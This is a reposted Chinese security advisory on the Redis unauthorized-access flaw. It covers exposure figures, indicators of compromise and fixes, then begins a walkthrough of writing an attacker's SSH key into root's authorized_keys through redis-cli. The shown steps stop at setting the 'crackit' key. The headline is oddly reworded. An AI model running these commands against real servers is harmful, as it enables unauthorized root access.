加入收藏 | 设为首页 | 会员中心 | 我要投稿 宁德站长网 (https://www.0593zz.com/)- 科技、建站、经验、云计算、5G、大数据,站长网!
当前位置: 首页 > 服务器 > 安全 > 正文

Redis 未授权会见缺陷可等闲导致体系被黑

发布时间:2016-10-30 11:22:55 所属栏目:安全 来源:sebug.net
导读:副标题#e# 注:近日曝出大规模利用 Redis 漏洞进行入侵的事件,会给用户的 Redis 运行环境以及 Linux 主机造成安全风险。若用户的Linux服务器中安装了Redis并对公网开放了Redis端口,则可能导致Redis数据丢失,服务器则存在被植入公钥用于SSH远程登录的风险
副标题[/!--empirenews.page--]

注:近日曝出大规模利用 Redis 漏洞进行入侵的事件,会给用户的 Redis 运行环境以及 Linux 主机造成安全风险。若用户的Linux服务器中安装了Redis并对公网开放了Redis端口,则可能导致Redis数据丢失,服务器则存在被植入公钥用于SSH远程登录的风险。

关于Redis

Redis是一个高性能的key-value数据库。 redis的出现,很大程度补偿了memcached这类keyvalue存储的不足,在部 分场合可以对关系数据库起到很好的补充作用。它提供了Python,Ruby,Erlang,PHP客户端,使用很方便。

容易遭受入侵的环境

用户自建的运行了 Redis 服务的 Linux 主机,依root身份运行Redis服务,并在公网上开放了 6379 的 Redis 端口。

入侵现象

1)Redis 可能被执行过 flushall 命令

2)Redis 内建了名为 crackit 的 key

3)Redis 的 dir 参数指向了 /root/.ssh

4)/root/.ssh/authorized_keys 被覆盖或者包含 Redis 相关的内容

修复办法

5)以非 root 权限启动 Redis

6)增加 Redis 密码验证

7)禁止公网开放 Redis 端口, 例如可以在青云防火墙上禁用 6379 Redis 的端口

8)检查 authorized_keys 是否非法

详细内容请看下文:

漏洞概要

Redis 默认情况下,会绑定在 0.0.0.0:6379,这样将会将Redis服务暴露到公网上,如果在没有开启认证的情况下,可以导致任意用户在可以访问目标服务器的情况下未授权访问Redis以及读取Redis的数据。攻击者在未授权访问Redis的情况下可以利用Redis的相关方法,可以成功将自己的公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys 文件中,进而可以直接登录目标服务器。

漏洞概述

Redis 默认情况下,会绑定在 0.0.0.0:6379,这样将会将Redis服务暴露到公网上,如果在没有开启认证的情况下,可以导致任意用户在可以访问目标服务器的情况下未授权访问Redis以及读取Redis的数据。攻击者在未授权访问Redis的情况下可以利用Redis的相关方法,可以成功将自己的公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys 文件中,进而可以直接登录目标服务器。

漏洞描述

Redis 安全模型的观念是: “请不要将Redis暴露在公开网络中, 因为让不受信任的客户接触到Redis是非常危险的” 。

Redis 作者之所以放弃解决未授权访问导致的不安全性是因为, 99.99%使用Redis的场景都是在沙盒化的环境中, 为了0.01%的可能性增加安全规则的同时也增加了复杂性, 虽然这个问题的并不是不能解决的, 但是这在他的设计哲学中仍是不划算的。

因为其他受信任用户需要使用Redis或者因为运维人员的疏忽等原因,部分Redis 绑定在0.0.0.0:6379,并且没有开启认证(这是Redis的默认配置),如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源ip访问等,将会导致Redis服务直接暴露在公网上,导致其他用户可以直接在非授权情况下直接访问Redis服务并进行相关操作。

利用Redis自身的相关方法,可以进行写文件操作,攻击者可以成功将自己的公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys 文件中,进而可以直接登录目标服务器。

漏洞影响

Redis 暴露在公网(即绑定在0.0.0.0:6379,目标IP公网可访问),并且没有开启相关认证和添加相关安全策略情况下可受影响而导致被利用。

通过ZoomEye 的搜索结果显示,有97700在公网可以直接访问的Redis服务。

Redis漏洞 Linux服务器 Linux服务器安全 redis命令

根据 ZoomEye 最新于2015年11月12日0点探测结果显示:

总的存在无验证可直接利用 Redis 服务的目标全球有49099,其中中国有16477。其中被明着写入crackit的,也就是已经被黑的比例分别是全球65%(3.1万),中国67.5%(1.1万)。

1.1.    漏洞分析与利用

首先在本地生产公私钥文件:

  • ? 1 $ssh-keygen –t rsa

Redis漏洞 Linux服务器 Linux服务器安全 redis命令

然后将公钥写入foo.txt文件

  • ? 1 $ (echo -e "nn"; cat id_rsa.pub; echo -e "nn") > foo.txt

再连接Redis写入文件

cat foo.txt | redis-cli -h 192.168.1.11 -x set crackit

(编辑:宁德站长网)

【声明】本站内容均来自网络,其相关言论仅代表作者个人观点,不代表本站立场。若无意侵犯到您的权利,请及时与联系站长删除相关内容!